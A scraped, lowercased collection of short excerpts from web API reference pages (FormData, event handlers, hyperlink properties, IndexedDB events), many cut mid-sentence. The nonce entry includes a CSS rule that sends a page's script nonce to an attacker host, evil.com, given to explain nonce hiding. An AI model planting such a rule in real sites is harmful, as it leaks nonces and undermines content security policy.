e the following line creates an empty formdata object: var formdata = new formdata(); the following snippet shows the results of testing for the existence of username in the formdata object, before and after appending a username value to it with formdata.append: formdata.has('username'); // returns false formdata.append('username', 'chris'); formdata.has('username'); // returns true specifications specification status comment xmlhttprequestthe definition of 'has()' in that specification.
FormData.keys() - Web APIs
WebAPIFormDatakeys
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the keys for (var key of formdata.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment xmlhttprequestthe definition of 'keys() (as iterator<>)' in that specification.
FormData.values() - Web APIs
WebAPIFormDatavalues
example // create a test formdata object var formdata = new formdata(); formdata.append('key1', 'value1'); formdata.append('key2', 'value2'); // display the values for (var value of formdata.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment xmlhttprequestthe definition of 'values() (as iterator<>)' in that specification.
FormDataEvent.formData - Web APIs
); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdata' in that specification.
FullscreenOptions - Web APIs
the fullscreenoptions dictionary is used to provide configuration options when calling requestfullscreen() on an element to place that element into full-screen mode.
Gamepad.axes - Web APIs
WebAPIGamepadaxes
specifications specification status comment gamepadthe definition of 'gamepad.axes' in that specification.
Gamepad.id - Web APIs
WebAPIGamepadid
specifications specification status comment gamepadthe definition of 'gamepad.id' in that specification.
GamepadButton.value - Web APIs
specifications specification status comment gamepadthe definition of 'gamepadbutton.value' in that specification.
GamepadEvent() - Web APIs
specifications specification status comment gamepadthe definition of 'gamepadevent_' in that specification.
GlobalEventHandlers.onloadstart - Web APIs
specification specification status comment html living standardthe definition of 'loadstart' in that specification.
GlobalEventHandlers.onblur - Web APIs
specifications specification status comment html living standardthe definition of 'onblur' in that specification.
GlobalEventHandlers.ondurationchange - Web APIs
specification specification status comment html living standardthe definition of 'ondurationchange' in that specification.
GlobalEventHandlers.onfocus - Web APIs
specifications specification status comment html living standardthe definition of 'onfocus' in that specification.
GlobalEventHandlers.onkeydown - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeydown = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result specifications specification status comment html living standardthe definition of 'onkeydown' in that specification.
GlobalEventHandlers.onkeyup - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeyup = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result specifications specification status comment html living standardthe definition of 'onkeyup' in that specification.
GlobalEventHandlers.onloadeddata - Web APIs
specification specification status comment html living standardthe definition of 'onloadeddata' in that specification.
GlobalEventHandlers.onloadedmetadata - Web APIs
specification specification status comment html living standardthe definition of 'onloadedmetadata' in that specification.
GlobalEventHandlers.onloadend - Web APIs
the onloadend property of the globaleventhandlers mixin is an eventhandler representing the code to be called when the loadend event is raised (when progress has stopped on the loading of a resource.) syntax img.onloadend = funcref; value funcref is the handler function to be called when the resource's loadend event fires.
GlobalEventHandlers.onmousedown - Web APIs
moveview(event) { view.style.left = event.clientx - 50 + 'px'; view.style.top = event.clienty - 50 + 'px'; } function hideview(event) { view.setattribute('hidden', ''); } const container = document.queryselector('.container'); const view = document.queryselector('.view'); container.onmousedown = showview; container.onmousemove = moveview; document.onmouseup = hideview; result specification specification status comment html living standardthe definition of 'onmousedown' in that specification.
GlobalEventHandlers.onmouseenter - Web APIs
specification specification status comment html living standardthe definition of 'onmouseenter' in that specification.
GlobalEventHandlers.onmouseleave - Web APIs
specification specification status comment html living standardthe definition of 'onmouseleave' in that specification.
GlobalEventHandlers.onmousemove - Web APIs
specifications specification status comment html living standardthe definition of 'onmousemove' in that specification.
GlobalEventHandlers.onmouseout - Web APIs
html <p>test your mouse on me!</p> javascript const p = document.queryselector('p'); p.onmouseover = logmouseover; p.onmouseout = logmouseout; function logmouseover() { p.innerhtml = 'mouse over detected'; } function logmouseout() { p.innerhtml = 'mouse out detected'; } result specification specification status comment html living standardthe definition of 'onmouseout' in that specification.
GlobalEventHandlers.onmouseover - Web APIs
html <p>test your mouse on me!</p> javascript const p = document.queryselector('p'); p.onmouseover = logmouseover; p.onmouseout = logmouseout; function logmouseover() { p.innerhtml = 'mouse over detected'; } function logmouseout() { p.innerhtml = 'mouse out detected'; } result specifications specification status comment html living standardthe definition of 'onmouseover' in that specification.
GlobalEventHandlers.onmouseup - Web APIs
transition: transform .3s; } .depressed { transform: translate(-50%, -50%); } javascript function depress() { toast.classlist.add('depressed'); } function release() { toast.classlist.remove('depressed'); } const toaster = document.queryselector('.toaster'); const toast = document.queryselector('.toast'); toaster.onmousedown = depress; document.onmouseup = release; result specification specification status comment html living standardthe definition of 'onmouseup' in that specification.
GlobalEventHandlers.onmousewheel - Web APIs
this interface is non-standard and deprecated.
GlobalEventHandlers.onpause - Web APIs
specification specification status comment html living standardthe definition of 'onpause' in that specification.
GlobalEventHandlers.onplay - Web APIs
</video> <p>video courtesy of <a href="http://www.bigbuckbunny.org/" target="_blank">big buck bunny</a>.</p> <script> function alertplay() { alert("the video has started to play."); } </script> specification specification status comment html living standardthe definition of 'onplay' in that specification.
GlobalEventHandlers.onplaying - Web APIs
specification specification status comment html living standardthe definition of 'onplaying' in that specification.
GlobalEventHandlers.onreset - Web APIs
time stamp: ${event.timestamp}`; } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.onreset = logreset; result specification specification status comment html living standardthe definition of 'onreset' in that specification.
GlobalEventHandlers.onresize - Web APIs
ire the <code>resize</code> event.</p> <p>window height: <span id="height"></span></p> <p>window width: <span id="width"></span></p> const heightoutput = document.queryselector('#height'); const widthoutput = document.queryselector('#width'); function resize() { heightoutput.textcontent = window.innerheight; widthoutput.textcontent = window.innerwidth; } window.onresize = resize; specification specification status comment html living standardthe definition of 'onresize' in that specification.
GlobalEventHandlers.onselect - Web APIs
in this element.</textarea> <p id="log"></p> javascript function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const textarea = document.queryselector('textarea'); textarea.onselect = logselection; result specification specification status comment html living standardthe definition of 'onselect' in that specification.
GlobalEventHandlers.onselectionchange - Web APIs
specifications specification status comment selection apithe definition of 'globaleventhandlers.onselectionchange' in that specification.
GlobalEventHandlers.onselectstart - Web APIs
specifications specification status comment selection apithe definition of 'globaleventhandlers.onselectstart' in that specification.
GlobalEventHandlers.onsubmit - Web APIs
y = document.getelementbyid('city'); const thanks = document.getelementbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for this example, don't actually submit the form event.preventdefault(); } result specifications specification status comment html living standardthe definition of 'onsubmit' in that specification.
disabled - Web APIs
is a boolean indicating whether or not the control is disabled, meaning that it does not accept any clicks.
HTMLButtonElement.labels - Web APIs
ple html <label id="label1" for="test">label 1</label> <button id="test">button</button> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const button = document.getelementbyid("test"); for(var i = 0; i < button.labels.length; i++) { console.log(button.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
HTMLContentElement.getDistributedNodes() - Web APIs
syntax var nodelist = object.getdistributednodes() example // get the distributed nodes var nodes = mycontentobject.getdistributednodes(); specifications this feature is no longer defined by any specifications.
HTMLContentElement.select - Web APIs
syntax object.select = "cssselector cssselector ..."; example // select <h1> elements and elements with class="error" mycontentobject.select = "h1 .error"; specifications this feature is no longer defined by any standards.
HTMLContentElement - Web APIs
specifications this feature is no longer defined by any standards.
HTMLElement.click() - Web APIs
WebAPIHTMLElementclick
syntax element.click() example simulate a mouse-click when moving the mouse pointer over a checkbox: html <form> <input type="checkbox" id="mycheck" onmouseover="myfunction()" onclick="alert('click event occured')"> </form> javascript // on mouse-over, execute myfunction function myfunction() { document.getelementbyid("mycheck").click(); } specification specification status comment html living standard living standard document object model (dom) level 2 html specification obsolete initial definition.
inert - Web APIs
WebAPIHTMLElementinert
this can be useful when building uis such as modals where you would want to "trap" the focus inside the modal when it's visible.
HTMLElement.lang - Web APIs
WebAPIHTMLElementlang
example // this snippet compares the base language and // redirects to another url based on language if (document.documentelement.lang === "en") { window.location.href = "some_document.html.en"; } else if (document.documentelement.lang === "ru") { window.location.href = "some_document.html.ru"; } specification specification status comment document object model (dom) level 2 html specificationthe definition of 'lang' in that specification.
HTMLElement.oncopy - Web APIs
p> javascript const log = document.getelementbyid('log'); function logcopy(event) { log.innertext = 'copy blocked!\n' + log.innertext; event.preventdefault(); } function logpaste(event) { log.innertext = 'paste blocked!\n' + log.innertext; event.preventdefault(); } const editor = document.getelementbyid('editor'); editor.oncopy = logcopy; editor.onpaste = logpaste; result specification whatwg standard ...
HTMLElement.oncut - Web APIs
WebAPIHTMLElementoncut
ea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innertext = 'copied!\n' + log.innertext; } function preventcut(event) { event.preventdefault(); log.innertext = 'cut blocked!\n' + log.innertext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log'); editor.oncopy = logcopy; editor.oncut = preventcut; result specification whatwg standard ...
HTMLElement.onpaste - Web APIs
ing text into this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innertext = 'copied!\n' + log.innertext; } function logpaste(event) { log.innertext = 'pasted!\n' + log.innertext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log'); editor.oncopy = logcopy; editor.onpaste = logpaste; result specification whatwg standard ...
HTMLElement.outerText - Web APIs
specification not part of any specification.
HTMLElement: pointerenter event - Web APIs
bubbles no cancelable no interface pointerevent event handler property onpointerenter examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerenter', (event) => { console.log('pointer entered element'); }); using the onpointerenter event handler property: const para = document.queryselector('p'); para.onpointerenter = (event) => { console.log('pointer entered element'); }; specifications specification status pointer even...
HTMLElement: pointerleave event - Web APIs
bubbles no cancelable no interface pointerevent event handler property onpointerleave examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerleave', (event) => { console.log('pointer left element'); }); using the onpointerleave event handler property: const para = document.queryselector('p'); para.onpointerleave = (event) => { console.log('pointer left element'); }; specifications specification status pointer events obsolete ...
HTMLElement: pointerover event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointerover examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerover', (event) => { console.log('pointer moved in'); }); using the onpointerover event handler property: const para = document.queryselector('p'); para.onpointerover = (event) => { console.log('pointer moved in'); }; specifications specification status pointer events obsolete ...
HTMLElement: pointerup event - Web APIs
bubbles yes cancelable yes interface pointerevent event handler property onpointerup examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerup', (event) => { console.log('pointer up'); }); using the onpointerup event handler property: const para = document.queryselector('p'); para.onpointerup = (event) => { console.log('pointer up'); }; specifications specification status pointer events obsolete ...
HTMLFontElement.color - Web APIs
the format of the string must follow one of the following html microsyntaxes: microsyntax description examples valid name color string nameofcolor (case insensitive) green green green valid hex color string in rgb format: #rrggbb #008000 rgb using decimal values rgb(x,x,x) (x in 0-255 range) rgb(0,128,0) syntax colorstring = fontobj.color; fontobj.color = colorstring; examples // assumes there is <font id="f"> element in the html var f = document.getelementbyid("f"); f.color = "green"; specifications the <fon...
HTMLFontElement.size - Web APIs
6 relative size string +x or -x, where x is the number relative to the value of the size attribute of the <basefont> element (the result should be in the same range of 1-7) +2 -1 syntax sizestring = fontobj.size; fontobj.size = sizestring; examples // assumes there is <font id="f"> element in the html var f = document.getelementbyid("f"); f.size = "6"; specifications the <font> tag is not supported in html5 and as a result neither is <font>.size .
HTMLFontElement - Web APIs
specifications the <font> tag is not supported in html5 since it is now obsolete.
HTMLFormElement.method - Web APIs
syntax var string = form.method; form.method = string; example document.forms['myform'].method = 'post'; const formelement = document.createelement("form"); // create a form document.body.appendchild(formelement); console.log(formelement.method); // 'get' specifications specification status comment html living standardthe definition of 'htmlformelement: method' in that specification.
HTMLFormElement.reset() - Web APIs
syntax htmlformelement.reset() example document.getelementbyid('myform').reset(); specifications specification status comment html living standardthe definition of 'htmlformelement: reset' in that specification.
HTMLFormElement.target - Web APIs
syntax string = htmlformelement.target htmlformelement.target = string example myform.target = document.frames[1].name; specifications specification status comment html living standardthe definition of 'htmlformelement: target' in that specification.
HTMLHtmlElement.version - Web APIs
this property has been declared as deprecated by the w3c technical recommendation for html 4.01 in favor of use of the dtd for obtaining version information for a document.
HTMLHyperlinkElementUtils.hash - Web APIs
syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/htmlhyperlinkelementutils.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hash' in that specification.
HTMLHyperlinkElementUtils.host - Web APIs
syntax string = object.host; object.host = string; examples var anchor = document.createelement("a"); anchor.href = "https://developer.mozilla.org/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" anchor.href = "https://developer.mozilla.org:443/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/htmlhyperlinkelementutils.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.host' in that specification.
HTMLHyperlinkElementUtils.hostname - Web APIs
syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hostname' in that specification.
HTMLHyperlinkElementUtils.href - Web APIs
syntax string = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/htmlhyperlinkelementutils/href' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.href' in that specification.
HTMLHyperlinkElementUtils.origin - Web APIs
syntax string = object.origin; examples // on this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.origin' in that specification.
HTMLHyperlinkElementUtils.password - Web APIs
syntax string = object.password; object.password = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.password; // returns:'flabada' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.password' in that specification.
HTMLHyperlinkElementUtils.pathname - Web APIs
syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/htmlhyperlinkelementutils.pathname' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.pathname' in that specification.
HTMLHyperlinkElementUtils.port - Web APIs
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/htmlhyperlinkelementutils.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.port' in that specification.
HTMLHyperlinkElementUtils.protocol - Web APIs
syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/htmlhyperlinkelementutils.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.protocol' in that specification.
HTMLHyperlinkElementUtils.toString() - Web APIs
syntax string = object.tostring(); examples // let's imagine an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils/tostring"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.tostring(); // returns: 'https://developer.mozilla.org/docs/htmlhyperlinkelementutils/tostring' specifications specification status comment html living standard living standard ...
HTMLHyperlinkElementUtils.username - Web APIs
syntax string = object.username; object.username = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/htmlhyperlinkelementutils.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.username; // returns:'anonymous' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.username' in that specification.
contentDocument - Web APIs
specifications specification status comment html living standardthe definition of 'htmliframeelement: contentdocument' in that specification.
HTMLIFrameElement.csp - Web APIs
specifications specification status comment content security policy: embedded enforcementthe definition of 'csp' in that specification.
HTMLIFrameElement.src - Web APIs
syntax refstr = iframeelt.src; iframeelt.src= refstr; example var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment html living standardthe definition of 'htmliframeelement: src' in that specification.
srcdoc - Web APIs
examples var iframe = document.createelement("iframe"); iframe.srcdoc = `<!doctype html><p>hello world!</p>`; document.body.appendchild(iframe); specifications specification status comment html living standardthe definition of 'htmliframeelement: srcdoc' in that specification.
Image() - Web APIs
examples var myimage = new image(100, 200); myimage.src = 'picture.jpg'; document.body.appendchild(myimage); this would be the equivalent of defining the following html tag inside the <body>: <img width="100" height="200" src="picture.jpg"> specifications specification status comment html living standardthe definition of 'image()' in that specification.
HTMLInputElement.multiple - Web APIs
the htmlinputelement.multiple property indicates if an input can have more than one value.
HTMLLabelElement.control - Web APIs
specifications specification status comment html living standardthe definition of 'control' in that specification.
HTMLLabelElement.form - Web APIs
specifications specification status comment html living standardthe definition of 'form' in that specification.
HTMLLabelElement.htmlFor - Web APIs
specifications specification status comment html living standardthe definition of 'htmlfor' in that specification.
HTMLMediaElement: abort event - Web APIs
bubbles no cancelable no interface event event handler property onabort examples const video = document.queryselector('video'); const videosrc = 'https://path/to/video.webm'; video.addeventlistener('abort', () => { console.log(`abort loading: ${videosrc}`); }); const source = document.createelement('source'); source.setattribute('src', videosrc); source.setattribute('type', 'video/webm'); video.appendchild(source); specifications specification status html living standard living standard html5 recommendation ...
HTMLMediaElement.controller - Web APIs
specifications specification status comment html5the definition of 'htmlmediaelement.controller' in that specification.
HTMLMediaElement.controlsList - Web APIs
specifications specification status comment controls list api: solution outline browser compatibility the compatibility table on this page is generated from structured data.
HTMLMediaElement: error event - Web APIs
bubbles no cancelable no interface event event handler property onerror examples const video = document.queryselector('video'); const videosrc = 'https://path/to/video.webm'; video.addeventlistener('error', () => { console.error(`error loading: ${videosrc}`); }); video.setattribute('src', videosrc); specifications specification status html living standard living standard html5 recommendation ...
HTMLObjectElement.contentDocument - Web APIs
specifications specification status comment html living standardthe definition of 'contentdocument' in that specification.
HTMLObjectElement.contentWindow - Web APIs
specifications specification status comment html living standardthe definition of 'contentwindow' in that specification.
HTMLObjectElement.data - Web APIs
specifications specification status comment html living standardthe definition of 'data' in that specification.
HTMLObjectElement.form - Web APIs
specifications specification status comment html living standardthe definition of 'form' in that specification.
HTMLObjectElement.height - Web APIs
specifications specification status comment html living standardthe definition of 'height' in that specification.
HTMLObjectElement.name - Web APIs
specifications specification status comment html living standardthe definition of 'name' in that specification.
HTMLObjectElement.type - Web APIs
specifications specification status comment html living standardthe definition of 'type' in that specification.
HTMLObjectElement.useMap - Web APIs
specifications specification status comment html living standardthe definition of 'usemap' in that specification.
HTMLObjectElement.validity - Web APIs
specifications specification status comment html living standardthe definition of 'validity' in that specification.
HTMLObjectElement.width - Web APIs
specifications specification status comment html living standardthe definition of 'width' in that specification.
Option() - Web APIs
, true, false); // will add the "selected" attribute } if (element == 'two') { s[s.options.length] = new option(element, s.options.length, false, true); // just will be selected in "view" } }); /* result <select id="s"> <option value="0">zero</option> <option value="1" selected="">one</option> <option value="2">two</option> // user will see this as 'selected' </select> */ specification specification status comment html5 the definition of 'option' in that specification.
HTMLOrForeignElement.nonce - Web APIs
nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
HTMLShadowElement.getDistributedNodes() - Web APIs
syntax var nodelist = object.getdistributednodes() example // get the distributed nodes var nodes = myshadowobject.getdistributednodes(); specifications this feature is no longer defined by any specifications.
HTMLStyleElement.scoped - Web APIs
the htmlstyleelement.scoped property is a boolean value indicating if the element applies to the whole document (false) or only to the parent's sub-tree (true).
HTMLStyleElement.type - Web APIs
for gecko, the type is most often given as "text/css." from the w3c spec on css: "the expectation is that binding-specific casting methods can be used to cast down from an instance of the cssrule interface to the specific derived interface implied by the type." syntax string = style.type; example if (newstyle.type != "text/css"){ // not supported!
HTMLTableElement.align - Web APIs
syntax htmltableelement.align = alignment; var alignment = htmltableelement.align; parameters alignment domstring with one of the following values: left center right example // set the alignmnet of a table var t = document.getelementbyid('tablea'); t.align = 'center'; specification w3c dom 2 html specification htmltableelement .align.
HTMLTableElement.cellPadding - Web APIs
example // set cell padding to 10 pixels let t = document.getelementbyid('tablea'); t.cellpadding = '10'; specification w3c dom 2 html specification htmltableelement .cellpadding.
HTMLTableElement.cellSpacing - Web APIs
var t = document.getelementbyid('tablea'); t.cellspacing = "10"; specification w3c dom 2 html specification htmltableelement .cellspacing.
HTMLTableElement.deleteTFoot() - Web APIs
html <table> <thead><th>name</th><th>score</th></thead> <tr><td>bob</td><td>541</td></tr> <tr><td>jim</td><td>225</td></tr> <tfoot><th>average</th><td>383</td></tfoot> </table> javascript let table = document.queryselector('table'); table.deletetfoot(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletetfoot' in that specification.
HTMLTableElement.deleteTHead() - Web APIs
html <table> <thead><th>name</th><th>occupation</th></thead> <tr><td>bob</td><td>plumber</td></tr> <tr><td>jim</td><td>roofer</td></tr> </table> javascript let table = document.queryselector('table'); table.deletethead(); result specifications specification status comment html living standardthe definition of 'htmltableelement: deletethead' in that specification.
HTMLTableElement.summary - Web APIs
syntax htmltableelement.summary = string; varstring = htmltableelement.summary; example htmltableelement.summary = "usage statistics"; specification w3c dom 2 html specification ...
HTMLVideoElement.msHorizontalMirror - Web APIs
video perspective is flipped on a horizontal axis - this may be useful for playback of a webcam video, providing the user with better mirroring of their real behaviors (ie.
msStereo3DRenderMode - Web APIs
msstereo3drendermode is a read/write property which gets or sets whether the system display is set to stereo display (if stereo-capable).
HTMLVideoElement.msZoom - Web APIs
for instance, if the layout space for the video tag is a 4:3 aspect ratio, but the stream coming in is in 16:9 aspect ratio, the mszoom option can be used to render the 16:9 video in 4:3 aspect ratio.
onMSVideoFormatChanged - Web APIs
syntax value description event property object.onmsvideoformatchanged = handler; attachevent method object.attachevent("onmsvideoformatchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
onMSVideoFrameStepCompleted - Web APIs
syntax value description event property object.onmsvideoframestepcompleted = handler; attachevent method object.attachevent("onmsvideoframestepcompleted", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
onMSVideoOptimalLayoutChanged - Web APIs
syntax value description event property object.onmsvideooptimallayoutchanged = handler; attachevent method object.attachevent("onmsvideooptimallayoutchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) synchronous no bubbles no cancelable no see also msislayoutoptimalforplayback htmlvideoelement microsoft api extensions ...
HashChangeEvent.newURL - Web APIs
example window.addeventlistener('hashchange', function(event) { console.log('hash changed to ' + event.newurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: newurl' in that specification.
HashChangeEvent.oldURL - Web APIs
example window.addeventlistener('hashchange', function(event) { console.log('hash changed from ' + event.oldurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: oldurl' in that specification.
Headers.getAll() - Web APIs
WebAPIHeadersgetAll
for security reasons, some headers can only be controller by the user agent.
IDBCursor.request - Web APIs
WebAPIIDBCursorrequest
var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.request); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api draftthe definition of 'request' in that specification.
IDBDatabase: abort event - Web APIs
bubbles yes cancelable no interface event event handler property onabort examples this example opens a database (creating the database if it does not exist), then opens a transaction, adds a listener to the abort event, then aborts the transaction to trigger the event.
IDBDatabase: close event - Web APIs
bubbles no cancelable no interface event event handler property onerror examples this example opens a database and listens for the close event: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { ...
IDBDatabase: error event - Web APIs
bubbles yes cancelable no interface event event handler property onerror examples this example opens a database and tries to add a record, listening for the error event for the add() operation (this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will con...
IDBDatabase: versionchange event - Web APIs
bubbles no cancelable no interface event event handler property onversionchange examples this example opens a database and, on success, adds a listener to versionchange: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectsto...
FileHandle.name - Web APIs
specifications specification status comment filesystem api editor's draft draft proposal.
FileHandle.type - Web APIs
specifications specification status comment filesystem api editor's draft draft proposal.
IDBObjectStore.getKey() - Web APIs
get.result; let store = db.transaction("netlogs").objectstore("netlogs"); let today = new date(); let yesterday = new date(today); yesterday.setdate(today.getdate() - 1); let request = store.getkey(idbkeyrange(yesterday, today)); request.onsuccess = (event) => { let when = event.target.result; alert("the 1st activity in last 24 hours was occurred at " + when); }; }; specifications specification status comment indexed database api draftthe definition of 'getkey()' in that specification.
IDBOpenDBRequest: upgradeneeded event - Web APIs
bubbles no cancelable no interface event event handler onupgradeneeded examples this example opens a database and handles the upgradeneeded event by making any necessary updates to the object store.
IDBRequest: success event - Web APIs
bubbles no cancelable no interface event event handler property onsuccess examples this example tries to open a database and listens for the success event using addeventlistener(): // open the database const openrequest = window.indexeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('m...
IDBTransaction: abort event - Web APIs
bubbles yes cancelable no interface event event handler property onabort this can happen for any of the following reasons: bad requests, (for example, trying to add the same key twice, or put the same index key when the key has a uniqueness constraint), an explicit abort() call an uncaught exception in the request's success/error handler, an i/o error (an actual failure to write to disk, for example disk detached, or other os/hardware failure) quota exceeded.
IDBTransaction: complete event - Web APIs
bubbles no cancelable no interface event event handler property oncomplete examples using addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objects...
IDBTransaction: error event - Web APIs
bubbles yes cancelable no interface event event handler property onerror examples this example opens a database and tries to add a record, listening for the error event for the add() operation (this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will...
IIRFilterNode() - Web APIs
examples let feedforward = [0.00020298, 0.0004059599, 0.00020298]; let feedbackward = [1.0126964558, -1.9991880801, 0.9873035442]; const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const iirfilter = new iirfilternode(audioctx, { feedforward: feedforward, feedback: feedbackward }); specifications specification status comment web audio apithe definition of 'iirfilternode()' in that specification.
ImageBitmap.height - Web APIs
specifications specification status comment html living standardthe definition of 'imagebitmap.height' in that specification.
ImageBitmap.width - Web APIs
WebAPIImageBitmapwidth
specifications specification status comment html living standardthe definition of 'imagebitmap.height' in that specification.
ImageData.height - Web APIs
WebAPIImageDataheight
let imagedata = new imagedata(200, 100); console.log(imagedata.height); // 100 specification specification status comment html living standardthe definition of 'imagedata.height' in that specification.
ImageData.width - Web APIs
WebAPIImageDatawidth
let imagedata = new imagedata(200, 100); console.log(imagedata.width); // 200 specification specification status comment html living standardthe definition of 'imagedata.width' in that specification.
InputEvent.data - Web APIs
WebAPIInputEventdata
